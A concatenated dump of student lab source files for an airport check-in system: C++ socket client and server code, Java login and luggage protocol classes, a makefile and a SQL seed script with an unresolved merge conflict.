traceEvent("Error to load Certificat: " + e.getMessage());
}
this.communication.send(this.reponse);
} catch (communicationException e) {
traceEvent("Certificate : " + e.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Exceptions/CIMPException.cpp
#include "CIMPException.h"
CIMPException::CIMPException(const string msg) : exception(), message(msg) {}
CIMPException::CIMPException(const char *msg) : exception(), message(msg) {}
CIMPException::CIMPException(const CIMPException &orig) : exception(orig), message(orig.message) {}
CIMPException::~CIMPException() throw() {}
const char* CIMPException::what() const throw(){
return this->message.c_str();
}<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/Application_CheckIn.cpp
#include "Application_CheckIn.h"
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wmissing-noreturn"
Application_CheckIn::Application_CheckIn(const char *propertiesFilePath) {
this->readConfigFile(propertiesFilePath);
affOut("Initializing CIMP protocol...");
this->cimp = new CIMP(this->tramSeparator);
affOut("Acquiring server host information...");
this->hostInfo = new HostInfo(this->host.c_str());
cout << *(this->hostInfo) << endl;
this->initSocket();
// this->pushToContinue();
}
Application_CheckIn::~Application_CheckIn() {
delete this->cimp;
delete this->hostInfo;
delete this->clientSocket;
}
void Application_CheckIn::pushToContinue() {
char buffer[20];
affOut("Press ENTER to continue...");
cin.getline(buffer,20);
}
void Application_CheckIn::showTitle() const {
affEmptyLine();
cout << "*******************************************************" << endl;
cout << "* *" << endl;
cout << "* APPLICATION CHECKIN *" << endl;
cout << "* *" << endl;
cout << "*******************************************************" << endl;
}
void Application_CheckIn::showFlight() const {
affEmptyLine();
cout << "*******************************************************" << endl;
cout << "* VOL 362 POWDER-AIRLINES - Peshawar 6h30 *" << endl;
if(!this->ticket.ticketNumber.empty()) {
cout << "* Numéro de billet : " << this->ticket.ticketNumber << " *" << endl;
cout << "* Nombre d'accompagnants : " << this->ticket.nbCompanions << " *" << endl;
}
cout << "* *" << endl;
if(!this->luggageSum.ticketNumber.empty()) {
cout << "* Poids total bagages : " << setprecision(2) << this->luggageSum.totalWeight << "kg *" << endl;
cout << "* Excédent poids : " << setprecision(2) << this->luggageSum.excessWeight << "kg *" << endl;
cout << "* Supplément à payer : " << setprecision(2) << this->luggageSum.priceToPay << "EUR *" << endl;
}
cout << "*******************************************************" << endl;
}
void Application_CheckIn::readConfigFile(const char *propertiesFilePath) throw(ClientException) {
string temp;
affOut("Opening configuration file...");
Properties properties(propertiesFilePath, "=");
if((this->tramSeparator=properties.getValue("TRAM_SEP")).length() == 0)
throw ClientException("Application_CheckIn::readConfigFile() >> Properties.getValue() : TRAM_SEP");
if((this->host=properties.getValue("HOST")).length() == 0)
throw ClientException("Application_CheckIn::readConfigFile() >> Properties.getValue() : HOST");
if((temp=properties.getValue("PORT_CHCK")).length() == 0)
throw ClientException("Application_CheckIn::readConfigFile() >> Properties.getValue() : PORT_CHCK");
this->port = static_cast<unsigned int>(atoi(temp.c_str()));
if(this->port == 0)
throw ClientException("Application_CheckIn::readConfigFile() >> Error, the value for PORT_CHCK is either invalid or 0.");
if((this->tramEnding=properties.getValue("TRAM_END")).length() == 0)
throw ClientException("Application_CheckIn::readConfigFile() >> Properties.getValue() : TRAM_END");
}
void Application_CheckIn::initSocket() throw(ClientException, QuitApp) {
stringstream ss;
affOut("Connecting to server...");
this->clientSocket = new ClientSocket(this->port, *(this->hostInfo), this->tramEnding);
cout << *(this->clientSocket) << endl;
this->clientSocket->connectToServer();
void *parsedData;
string receivedMessage;
this->clientSocket->receiveMessage(receivedMessage);
cout << "AFTER RECEIVE" << endl;
int responseType = this->cimp->parse(receivedMessage, &parsedData);
cout << "responseType = " << responseType << endl;
switch(responseType){
case DOC:
quitAppAfterErr("Application_CheckIn::initSocket() (received DOC)", *((string *)parsedData));
case OK:
affOut("Connected successfully to server!");
break;
default:
ss << "Unkown answer received [request type = " << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
void Application_CheckIn::run() {
while(true) {
this->login();
this->transaction();
}
}
void Application_CheckIn::login() throw(QuitApp,ClientException) {
void *parsedData;
stringstream ss;
string receivedMessage;
bool isLoggedIn = false;
while(!isLoggedIn){
// system("clear");
try{
this->showTitle();
affEmptyLine();
affOut("Hello officer, What do you want to do today?");
affOut("1. LOGIN");
affOut("0. EXIT");
string input = getInput("Your choice : ");
if(input == "1"){
loginStruct loginStruct;
affEmptyLine();
loginStruct.login = getInput("Login : ");
loginStruct.password = getInput("<PASSWORD> : ");
this->clientSocket->sendMessage(this->cimp->encodeLOGIN_OFFICER(loginStruct));
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
switch(responseType){
case LOGIN_OFFICER_OK:
isLoggedIn = true;
affOut("Well done! you are now logged in!");
break;
case LOGIN_OFFICER_KO:
ss << "Could not login : " << *((string *)parsedData);
affErr(ss.str().c_str());
break;
default:
ss << "Unkown answer received [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
else{
if(input == "0"){
this->clientSocket->sendMessage(this->cimp->encodeEOC());
affOut("The server has been notified!");
throw QuitApp();
}
else{
affErr("This choice is not available!");
}
}
}catch(const ErrnoException &ex){
quitAppAfterErr("Application_CheckIn::login()", ex.what());
}
catch(const SocketException &ex){
quitAppAfterErr("Application_CheckIn::login()", ex.what());
}
// this->pushToContinue();
ss.clear();
ss.str(string());
}
}
void Application_CheckIn::transaction() throw(QuitApp,ClientException) {
void *parsedData;
stringstream ss;
string receivedMessage;
int next=CHECK_TICKET;
vector<luggageStruct> vectorLuggageStruct;
while(true){
// system("clear");
try{
this->showFlight();
affEmptyLine();
affOut("1. CONTINUE");
affOut("2. LOGOUT");
affOut("0. EXIT");
string input = getInput("Your choice : ");
if(input == "0"){
this->clientSocket->sendMessage(this->cimp->encodeEOC());
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
if(responseType==OK){
affOut("The server has been notified!");
throw QuitApp();
}
else quitAppAfterErr("Application_CheckIn::transaction()", "Received something else than an OK after EOC.");
}
else{
if(input == "2"){
this->clientSocket->sendMessage(this->cimp->encodeLOGOUT_OFFICER());
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
switch(responseType){
case LOGOUT_OFFICER_OK:
vectorLuggageStruct.clear();
this->ticket = ticketStruct();
this->luggageSum = luggageSumStruct();
return;
case CHECK_TICKET_KO:
ss << "Could not logout : " << *((string *)parsedData);
affErr(ss.str().c_str());
break;
default:
ss << "Unkown answer received [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
else {
if (input != "1") affErr("This choice is not available!");
else {
affEmptyLine();
switch (next) {
case CHECK_TICKET : {
ticketStruct tickTemp;
tickTemp.ticketNumber = getInput("Numéro de billet ? ");
tickTemp.nbCompanions = getInput("Nombre d'accompagnants ? ");
this->clientSocket->sendMessage(this->cimp->encodeCHECK_TICKET(tickTemp));
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
switch (responseType) {
case CHECK_TICKET_OK:
next = CHECK_LUGGAGE;
this->ticket.ticketNumber = tickTemp.ticketNumber;
this->ticket.nbCompanions = tickTemp.nbCompanions;
break;
case CHECK_TICKET_KO:
ss << "The ticket isn't valid : " << *((string *) parsedData);
affErr(ss.str().c_str());
break;
default:
ss << "Unkown answer received [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
break;
case CHECK_LUGGAGE : {
bool stop = false;
int i=1;
do {
stringstream ss1;
ss1 << "Poids du bagage n°" << i++ << " <Enter si fini> : ";
string temp = getInputWithEmpty(ss1.str());
luggageStruct luggTemp;
stop = temp.empty();
if( !stop ) {
luggTemp.weight = temp;
luggTemp.ticketNumber = this->ticket.ticketNumber;
luggTemp.isLuggage = getInput("Valise ? (O/N)") == "O";
} else
luggTemp.ticketNumber = this->ticket.ticketNumber;
vectorLuggageStruct.reserve(1);
vectorLuggageStruct.push_back(luggTemp);
} while (!stop);
this->clientSocket->sendMessage(this->cimp->encodeCHECK_LUGGAGE(vectorLuggageStruct));
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
switch (responseType) {
case CHECK_LUGGAGE_OK:
next = PAYMENT_DONE;
this->luggageSum.ticketNumber = ((luggageSumStruct *)parsedData)->ticketNumber;
this->luggageSum.totalWeight = ((luggageSumStruct *)parsedData)->totalWeight;
this->luggageSum.excessWeight = ((luggageSumStruct *)parsedData)->excessWeight;
this->luggageSum.priceToPay = ((luggageSumStruct *)parsedData)->priceToPay;
break;
case CHECK_LUGGAGE_KO:
affErr((*((string *) parsedData)).c_str());
break;
default:
ss << "Unkown answer received [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
break;
case PAYMENT_DONE : {
bool done;
done = getInput("Paiement effectué (Y/N)? ") == "Y";
this->clientSocket->sendMessage(this->cimp->encodePAYMENT_DONE(done));
receivedMessage.clear();
this->clientSocket->receiveMessage(receivedMessage);
int responseType = this->cimp->parse(receivedMessage, &parsedData);
switch (responseType) {
case PAYMENT_DONE_OK:
next = 0;
vectorLuggageStruct.clear();
break;
case PAYMENT_DONE_KO:
affErr(*((string *) parsedData));
break;
default:
ss << "Unkown answer received [" << responseType << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
break;
default:
ss << "Unkown answer received [" << next << "]";
affErr(ss.str().c_str());
throw ClientException(ss.str().c_str());
}
}
}
}
}catch(const ErrnoException &ex){
quitAppAfterErr("Application_CheckIn::login()", ex.what());
}
catch(const SocketException &ex){
quitAppAfterErr("Application_CheckIn::login()", ex.what());
}
// this->pushToContinue();
ss.clear();
ss.str(string());
}
}
string Application_CheckIn::getInput(const string invit) {
string input;
while((input = getInputWithEmpty(invit)).empty());
return input;
}
string Application_CheckIn::getInputWithEmpty(const string invit) {
string input;
affOut(invit.c_str());
getline(cin, input);
return input;
}
void Application_CheckIn::quitAppAfterErr(string where, string what) {
stringstream ss;
ss << where << " >> " << what;
affErr(ss.str().c_str());
throw QuitApp();
}
#pragma clang diagnostic pop<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/Properties/Properties.h
#ifndef PROPERTIES_PROPERTIES_H
#define PROPERTIES_PROPERTIES_H
#include <string>
#include <map>
#include <fstream>
#include "../Exceptions/PropertiesException.h"
class Properties {
private:
std::map<std::string, std::string> mapProperties;
public:
explicit Properties(std::string filePath, std::string sep) throw(PropertiesException);
virtual ~Properties();
const std::string getValue(std::string key) const;
};
#endif //PROPERTIES_PROPERTIES_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/SocketUtilities/ServerSocket.h
#ifndef SOCKETUTILITIES_SERVERSOCKET_H
#define SOCKETUTILITIES_SERVERSOCKET_H
#include "Socket.h"
class ServerSocket : public Socket {
private:
unsigned int maxConnection;
public:
ServerSocket();
ServerSocket(unsigned int portNumber, const HostInfo &info, string separator) throw(ErrnoException, SocketException);
ServerSocket(unsigned int portNumber, const HostInfo &info, string separator, unsigned int maxConnection) throw(ErrnoException, SocketException);
ServerSocket(const ServerSocket& orig);
virtual ~ServerSocket();
void bind() throw(ErrnoException);
void listen() throw(SocketException, ErrnoException);
Socket* accept();
};
#endif //SOCKETUTILITIES_SERVERSOCKET_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/test_Properties.dir/cmake_clean.cmake
file(REMOVE_RECURSE
"CMakeFiles/test_Properties.dir/Tests/PropertiesTest.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/CsvException.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/PropertiesException.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/SocketException.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/ErrnoException.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/HostException.cpp.o"
"CMakeFiles/test_Properties.dir/Exceptions/CIMPException.cpp.o"
"CMakeFiles/test_Properties.dir/Properties/Properties.cpp.o"
"test_Properties.pdb"
"test_Properties"
)
# Per-language clean rules from dependency scanning.
foreach(lang CXX)
include(CMakeFiles/test_Properties.dir/cmake_clean_${lang}.cmake OPTIONAL)
endforeach()
<file_sep>/part_2/Evaluation2(ancien)/BD_AIRPORT/populateDatabase.sql
DELETE FROM `BD_AIRPORT`.`postes`;
DELETE FROM `BD_AIRPORT`.`agents`;
DELETE FROM `BD_AIRPORT`.`avions`;
DELETE FROM `BD_AIRPORT`.`vols`;
DELETE FROM `BD_AIRPORT`.`statusBagage`;
DELETE FROM `BD_AIRPORT`.`passagers`;
DELETE FROM `BD_AIRPORT`.`billets`;
DELETE FROM `BD_AIRPORT`.`baggages`;
INSERT INTO `BD_AIRPORT`.`postes` VALUES(1, 'Agent de compagnie aérienne');
INSERT INTO `BD_AIRPORT`.`postes` VALUES(2, 'bagagiste');
INSERT INTO `BD_AIRPORT`.`postes` VALUES(3, 'employé agréé de tour-operator');
INSERT INTO `BD_AIRPORT`.`postes` VALUES(4, 'aiguilleur du ciel');
<<<<<<< HEAD
INSERT INTO `BD_AIRPORT`.`agents` VALUES('laurent', 'password', '<PASSWORD>', 'N<PASSWORD>', 1);
=======
INSERT INTO `BD_AIRPORT`.`agents` VALUES('nicolas', 'password', '<PASSWORD>', '<PASSWORD>', 1);
>>>>>>> 2ce6ce628866ae6e1b4a6b200ca82c3201199316
INSERT INTO `BD_AIRPORT`.`agents` VALUES('oceane', 'password', '<PASSWORD>', '<PASSWORD>', 1);
INSERT INTO `BD_AIRPORT`.`agents` VALUES('toto', 'mdp', 'Tata', 'Toto', 2);
INSERT INTO `BD_AIRPORT`.`avions` VALUES(1, '747', 'check_OK');
INSERT INTO `BD_AIRPORT`.`avions` VALUES(2, '362', 'check_OK');
INSERT INTO `BD_AIRPORT`.`avions` VALUES(3, '777', 'check_OK');
INSERT INTO `BD_AIRPORT`.`avions` VALUES(4, '417', 'check_OK');
INSERT INTO `BD_AIRPORT`.`vols` VALUES(1, '2017-10-10', 'Peshawar', NOW(), NOW(), NOW(), 'BrusselsAirlines');
INSERT INTO `BD_AIRPORT`.`vols` VALUES(2, '2017-10-15', 'Peshawar', NOW(), NOW(), NOW(), 'POWDER-AIRLINES');
INSERT INTO `BD_AIRPORT`.`statusBagage` VALUES(1, 'Réceptionné');
INSERT INTO `BD_AIRPORT`.`statusBagage` VALUES(2, 'Chargé en soute');
INSERT INTO `BD_AIRPORT`.`statusBagage` VALUES(3, 'Vérifié par la douane');
INSERT INTO `BD_AIRPORT`.`passagers` VALUES('592-6495224-88', 'Rouffart', 'Nicolas');
INSERT INTO `BD_AIRPORT`.`passagers` VALUES('592-1234567-88', 'Tata', 'Toto');
INSERT INTO `BD_AIRPORT`.`passagers` VALUES('592-7654321-88', 'Stasse', 'Oceane');
INSERT INTO `BD_AIRPORT`.`billets` VALUES('362-22082017-0070', '592-6495224-88', 0);
INSERT INTO `BD_AIRPORT`.`billets` VALUES('362-22082017-0080', '592-1234567-88', 10);<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/ClientException.h
#ifndef APPLICATIONCHECKIN_CLIENTAPPLICATION_H
#define APPLICATIONCHECKIN_CLIENTAPPLICATION_H
#include <string>
#include <cstring>
using namespace std;
class ClientException : public exception {
protected:
string message;
public:
ClientException(string msg);
ClientException(const char *msg);
ClientException(const ClientException &orig);
~ClientException() throw();
virtual const char* what() const throw();
};
#endif //APPLICATIONCHECKIN_CLIENTAPPLICATION_H
<file_sep>/LaboReseauxBinome/Evaluation1/makefile
.SILENT:
.PHONY: clean, clobber
COMP=compiledOut
LIB_EXC=Librairies/Exceptions
LIB_CIMP=Librairies/CIMP
LIB_CSV=Librairies/CSV
LIB_PROP=Librairies/Properties
LIB_SOCK=Librairies/SocketUtilities
LIB_TEST=Librairies/Tests
SERV=Serveur_CheckIn
APPL=Application_CheckIn
CC = g++ -m64 -std=c++11 -Wall -pthread
OBJS=$(COMP)/CsvException.o $(COMP)/ErrnoException.o $(COMP)/PropertiesException.o $(COMP)/SocketException.o $(COMP)/HostException.o $(COMP)/CIMPException.o $(COMP)/CIMP.o $(COMP)/LuggageDatabase.o $(COMP)/LuggageCsvHandler.o $(COMP)/TicketCsvHandler.o $(COMP)/LoginCsvHandler.o $(COMP)/CsvHandler.o $(COMP)/Properties.o $(COMP)/HostInfo.o $(COMP)/Socket.o $(COMP)/ClientSocket.o $(COMP)/ServerSocket.o $(COMP)/ServerException.o $(COMP)/Serveur_CheckInThread.o $(COMP)/Serveur_CheckIn.o $(COMP)/QuitApp.o $(COMP)/ClientException.o $(COMP)/Application_CheckIn.o
PROGRAMS=CsvExceptionTest CsvHandlerTest ErrnoExceptionTest HostInfoTest LoginCsvHandlerTest PropertiesTest test launcherServeur_CheckIn launcherApplication_CheckIn
ALL: $(PROGRAMS)
launcherApplication_CheckIn: $(APPL)/launcher.cpp $(OBJS)
echo Creating launcherApplication_CheckIn executable ...
$(CC) -o launcherApplication_CheckIn $(APPL)/launcher.cpp $(OBJS)
$(COMP)/Application_CheckIn.o: $(APPL)/Application_CheckIn.h $(APPL)/Application_CheckIn.cpp $(OBJS)
echo Creating Application_CheckIn.o ...
$(CC) -c $(APPL)/Application_CheckIn.cpp
mv Application_CheckIn.o $(COMP)
$(COMP)/ClientException.o: $(APPL)/ClientException.h $(APPL)/ClientException.cpp
echo Creating ClientException.o ...
$(CC) -c $(APPL)/ClientException.cpp
mv ClientException.o $(COMP)
$(COMP)/QuitApp.o: $(APPL)/QuitApp.h $(APPL)/QuitApp.cpp
echo Creating QuitApp.o ...
$(CC) -c $(APPL)/QuitApp.cpp
mv QuitApp.o $(COMP)
launcherServeur_CheckIn: $(SERV)/launcher.cpp $(OBJS)
echo Creating launcherServeur_CheckIn executable ...
$(CC) -o launcherServeur_CheckIn $(SERV)/launcher.cpp $(OBJS)
$(COMP)/Serveur_CheckInThread.o: $(SERV)/Serveur_CheckInThread.h $(SERV)/Serveur_CheckInThread.cpp $(COMP)/Socket.o $(COMP)/Serveur_CheckIn.o $(COMP)/LoginCsvHandler.o
echo Creating Serveur_CheckInThread.o ...
$(CC) -c $(SERV)/Serveur_CheckInThread.cpp
mv Serveur_CheckInThread.o $(COMP)
$(COMP)/Serveur_CheckIn.o: $(SERV)/Serveur_CheckIn.h $(SERV)/Serveur_CheckIn.cpp $(COMP)/Serveur_CheckInThread.o $(COMP)/ServerException.o $(COMP)/HostInfo.o $(COMP)/ServerSocket.o $(COMP)/CIMP.o $(COMP)/LoginCsvHandler.o $(COMP)/Properties.o
echo Creating Serveur_CheckIn.o ...
$(CC) -c $(SERV)/Serveur_CheckIn.cpp
mv Serveur_CheckIn.o $(COMP)
$(COMP)/ServerException.o: $(SERV)/ServerException.h $(SERV)/ServerException.cpp
echo Creating ServerException.o ...
$(CC) -c $(SERV)/ServerException.cpp
mv ServerException.o $(COMP)
test: $(LIB_TEST)/test.cpp
echo Creating test executable ...
$(CC) -o test $(LIB_TEST)/test.cpp
PropertiesTest: $(LIB_TEST)/PropertiesTest.cpp $(COMP)/Properties.o $(COMP)/PropertiesException.o
echo Creating PropertiesTest executable ...
$(CC) -o PropertiesTest $(LIB_TEST)/PropertiesTest.cpp $(COMP)/Properties.o $(COMP)/PropertiesException.o
LoginCsvHandlerTest: $(LIB_TEST)/LoginCsvHandlerTest.cpp $(COMP)/LoginCsvHandler.o $(COMP)/CsvHandler.o $(COMP)/CsvException.o
echo Creating LoginCsvHandlerTest executable ...
$(CC) -o LoginCsvHandlerTest $(LIB_TEST)/LoginCsvHandlerTest.cpp $(COMP)/LoginCsvHandler.o $(COMP)/CsvHandler.o $(COMP)/CsvException.o
HostInfoTest: $(LIB_TEST)/HostInfoTest.cpp $(COMP)/HostInfo.o $(COMP)/HostException.o
echo Creating HostInfoTest executable ...
$(CC) -o HostInfoTest $(LIB_TEST)/HostInfoTest.cpp $(COMP)/HostInfo.o $(COMP)/HostException.o
ErrnoExceptionTest: $(LIB_TEST)/ErrnoExceptionTest.cpp $(COMP)/ErrnoException.o
echo Creating ErrnoExceptionTest executable ...
$(CC) -o ErrnoExceptionTest $(LIB_TEST)/ErrnoExceptionTest.cpp $(COMP)/ErrnoException.o
CsvHandlerTest: $(LIB_TEST)/CsvHandlerTest.cpp $(COMP)/CsvHandler.o $(COMP)/CsvException.o
echo Creating CsvHandlerTest executable ...
$(CC) -o CsvHandlerTest $(LIB_TEST)/CsvHandlerTest.cpp $(COMP)/CsvHandler.o $(COMP)/CsvException.o
CsvExceptionTest: $(LIB_TEST)/CsvExceptionTest.cpp $(COMP)/CsvException.o
echo Creating CsvExceptionTest executable ...
$(CC) -o CsvExceptionTest $(LIB_TEST)/CsvExceptionTest.cpp $(COMP)/CsvException.o
$(COMP)/ServerSocket.o: $(LIB_SOCK)/ServerSocket.h $(LIB_SOCK)/ServerSocket.cpp $(COMP)/Socket.o
echo Creating ServerSocket.o ...
$(CC) -c $(LIB_SOCK)/ServerSocket.cpp
mv ServerSocket.o $(COMP)
$(COMP)/ClientSocket.o: $(LIB_SOCK)/ClientSocket.h $(LIB_SOCK)/ClientSocket.cpp $(COMP)/Socket.o
echo Creating ClientSocket.o ...
$(CC) -c $(LIB_SOCK)/ClientSocket.cpp
mv ClientSocket.o $(COMP)
$(COMP)/Socket.o: $(LIB_SOCK)/Socket.h $(LIB_SOCK)/Socket.cpp $(COMP)/ErrnoException.o $(COMP)/SocketException.o $(COMP)/HostInfo.o
echo Creating Socket.o ...
$(CC) -c $(LIB_SOCK)/Socket.cpp
mv Socket.o $(COMP)
$(COMP)/HostInfo.o: $(LIB_SOCK)/HostInfo.h $(LIB_SOCK)/HostInfo.cpp $(COMP)/HostException.o
echo Creating HostInfo.o ...
$(CC) -c $(LIB_SOCK)/HostInfo.cpp
mv HostInfo.o $(COMP)
$(COMP)/Properties.o: $(LIB_PROP)/Properties.h $(LIB_PROP)/Properties.cpp $(COMP)/PropertiesException.o
echo Creating Properties.o ...
$(CC) -c $(LIB_PROP)/Properties.cpp
mv Properties.o $(COMP)
$(COMP)/LuggageCsvHandler.o: $(LIB_CSV)/LuggageCsvHandler.h $(LIB_CSV)/LuggageCsvHandler.cpp $(COMP)/CsvHandler.o $(COMP)/LuggageDatabase.o
echo Creating LuggageCsvHandler.o ...
$(CC) -c $(LIB_CSV)/LuggageCsvHandler.cpp
mv LuggageCsvHandler.o $(COMP)
$(COMP)/LuggageDatabase.o: $(LIB_CSV)/LuggageDatabase.h $(LIB_CSV)/LuggageDatabase.cpp
echo Creating LuggageDatabase.o ...
$(CC) -c $(LIB_CSV)/LuggageDatabase.cpp
mv LuggageDatabase.o $(COMP)
$(COMP)/TicketCsvHandler.o: $(LIB_CSV)/TicketCsvHandler.h $(LIB_CSV)/TicketCsvHandler.cpp $(COMP)/CsvHandler.o $(COMP)/CIMP.o
echo Creating TicketCsvHandler.o ...
$(CC) -c $(LIB_CSV)/TicketCsvHandler.cpp
mv TicketCsvHandler.o $(COMP)
$(COMP)/LoginCsvHandler.o: $(LIB_CSV)/LoginCsvHandler.h $(LIB_CSV)/LoginCsvHandler.cpp $(COMP)/CsvHandler.o
echo Creating LoginCsvHandler.o ...
$(CC) -c $(LIB_CSV)/LoginCsvHandler.cpp
mv LoginCsvHandler.o $(COMP)
$(COMP)/CsvHandler.o: $(LIB_CSV)/CsvHandler.h $(LIB_CSV)/CsvHandler.cpp $(COMP)/CsvException.o
echo Creating CsvHandler.o ...
$(CC) -c $(LIB_CSV)/CsvHandler.cpp
mv CsvHandler.o $(COMP)
$(COMP)/CIMP.o: $(LIB_CIMP)/CIMP.h $(LIB_CIMP)/CIMP.cpp $(COMP)/CIMPException.o
echo Creating CIMP.o ...
$(CC) -c $(LIB_CIMP)/CIMP.cpp
mv CIMP.o $(COMP)
$(COMP)/CIMPException.o: $(LIB_EXC)/CIMPException.cpp $(LIB_EXC)/CIMPException.h
echo Creating CIMPException.o ...
$(CC) -c $(LIB_EXC)/CIMPException.cpp
mv CIMPException.o $(COMP)
$(COMP)/HostException.o: $(LIB_EXC)/HostException.cpp $(LIB_EXC)/HostException.h
echo Creating HostException.o ...
$(CC) -c $(LIB_EXC)/HostException.cpp
mv HostException.o $(COMP)
$(COMP)/SocketException.o: $(LIB_EXC)/SocketException.cpp $(LIB_EXC)/SocketException.h
echo Creating SocketException.o ...
$(CC) -c $(LIB_EXC)/SocketException.cpp
mv SocketException.o $(COMP)
$(COMP)/PropertiesException.o: $(LIB_EXC)/PropertiesException.cpp $(LIB_EXC)/PropertiesException.h
echo Creating PropertiesException.o ...
$(CC) -c $(LIB_EXC)/PropertiesException.cpp
mv PropertiesException.o $(COMP)
$(COMP)/ErrnoException.o: $(LIB_EXC)/ErrnoException.cpp $(LIB_EXC)/ErrnoException.h
echo Creating ErrnoException.o ...
$(CC) -c $(LIB_EXC)/ErrnoException.cpp
mv ErrnoException.o $(COMP)
$(COMP)/CsvException.o: $(LIB_EXC)/CsvException.cpp $(LIB_EXC)/CsvException.h
echo Creating CsvException.o ...
$(CC) -c $(LIB_EXC)/CsvException.cpp
mv CsvException.o $(COMP)
clean:
@rm -f $(COMP)/*.o core
clobber: clean
@rm -f tags $(PROGRAMS)
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/ClientException.cpp
#include "ClientException.h"
ClientException::ClientException(const std::string msg) : exception(), message(msg) {}
ClientException::ClientException(const char *msg) : exception(), message(msg) {}
ClientException::ClientException(const ClientException &orig) : exception(orig), message(orig.message) {}
ClientException::~ClientException() throw() {}
const char *ClientException::what() const throw() {
char *returnVal;
returnVal = new char[this->message.length() + 1];
strcat(returnVal, this->message.c_str());
return returnVal;
}
<file_sep>/part_3/Evaluation3(ancien)/LUGAP/src/lugap/reponse/ReponseLUGAP_getLuggages.java
package lugap.reponse;
import entities.Luggage;
import java.io.Serializable;
import java.util.ArrayList;
import server.Reponse;
public class ReponseLUGAP_getLuggages extends Reponse implements Serializable {
ArrayList<Luggage> luggages;
private ReponseLUGAP_getLuggages(String message, boolean successful, ArrayList<Luggage> luggages) {
super(message, successful);
this.luggages = luggages;
}
public static ReponseLUGAP_getLuggages OK(ArrayList<Luggage> luggages){
return new ReponseLUGAP_getLuggages("", true, luggages);
}
public static ReponseLUGAP_getLuggages KO(String message){
return new ReponseLUGAP_getLuggages(message, false, null);
}
public ArrayList<Luggage> getLuggages() {
return luggages;
}
}
<file_sep>/final eclipse/Librairie/src/network/protocole/tickmap/requete/RequeteLogin.java
package network.protocole.tickmap.requete;
import java.io.Serializable;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import generic.server.ARequete;
import network.communication.communicationException;
import network.crypto.AEncryption;
import network.crypto.EncryptionException;
import network.protocole.tickmap.reponse.ReponseLogin;
public class RequeteLogin extends ARequete implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private final String login;
private final byte[] digestedPassword;
private final long time;
private final double rand;
public RequeteLogin(String login, byte[] digestedPassword, long time, double rand) {
super("login", "SELECT login, password "
+ "FROM agent INNER JOIN job "
+ "ON fk_idjob = idjob "
+ "WHERE agent.login = ?");
this.login = login;
this.digestedPassword = <PASSWORD>;
this.time = time;
this.rand = rand;
}
@Override
protected void doAction() {
Map<Integer, Object> statementMap = new HashMap<Integer, Object>();
statementMap.put(1, this.login);
try {
try {
ResultSet resultSet = this.database.executeQuery(this.sqlStatement, statementMap);
if(!resultSet.next()|| !Arrays.equals(this.digestedPassword,
AEncryption.saltDigest(resultSet.getString("password"),
this.time,
this.rand))){
this.reponse = ReponseLogin.KO("Wrong login/password");
traceEvent("Wrong login/password (login:" + this.login + ")");
}
else{
this.reponse = ReponseLogin.OK();
traceEvent("Login OK (login: " + this.login + ")");
}
} catch (SQLException ex) {
this.reponse = ReponseLogin.KO("Erreur Serveur (SQL)");
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
} catch (EncryptionException ex) {
this.reponse = ReponseLogin.KO("Erreur Serveur (Encrypt)");
traceEvent("Erreur d'encrypt : " + ex.getMessage());
}
this.communication.send(this.reponse);
} catch (communicationException ex) {
traceEvent("Login : " + ex.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Serveur_CheckIn/Serveur_CheckIn.h
#ifndef SERVEURCHECKIN_SERVEUR_CHECKIN_H
#define SERVEURCHECKIN_SERVEUR_CHECKIN_H
#include <vector>
#include "Serveur_CheckInThread.h"
#include "ServerException.h"
#include "../Librairies/Exceptions/ErrnoException.h"
#include "../Librairies/SocketUtilities/HostInfo.h"
#include "../Librairies/SocketUtilities/ServerSocket.h"
#include "../Librairies/CIMP/CIMP.h"
#include "../Librairies/CSV/LoginCsvHandler.h"
#include "../Librairies/Properties/Properties.h"
//#define affServeur(lvl, msg) printf("\e[33;1m|%.*s>\e[0;1m [%s] \e[0m%s\n", (lvl)*2, "========================", __PRETTY_FUNCTION__, msg);fflush(stdout)
#define affServeur(lvl, msg) printf("\e[33;1m|%.*s>\e[0;1m [%s] \e[0m%s\n", (lvl)*2, "========================", __FUNCTION__, msg);fflush(stdout)
using namespace std;
class Serveur_CheckIn {
private:
string tramSeparator;
string tramEnding;
string host;
unsigned int port;
unsigned int maxNbClient;
HostInfo *hostInfo;
ServerSocket *socketEcoute;
Socket *socketService;
vector<pthread_t> tabThread;
public:
bool newSocketHasBeenAdded;
string dbPath;
string loginFilePath;
string ticketFilePath;
string csvSeparator;
CIMP *cimp;
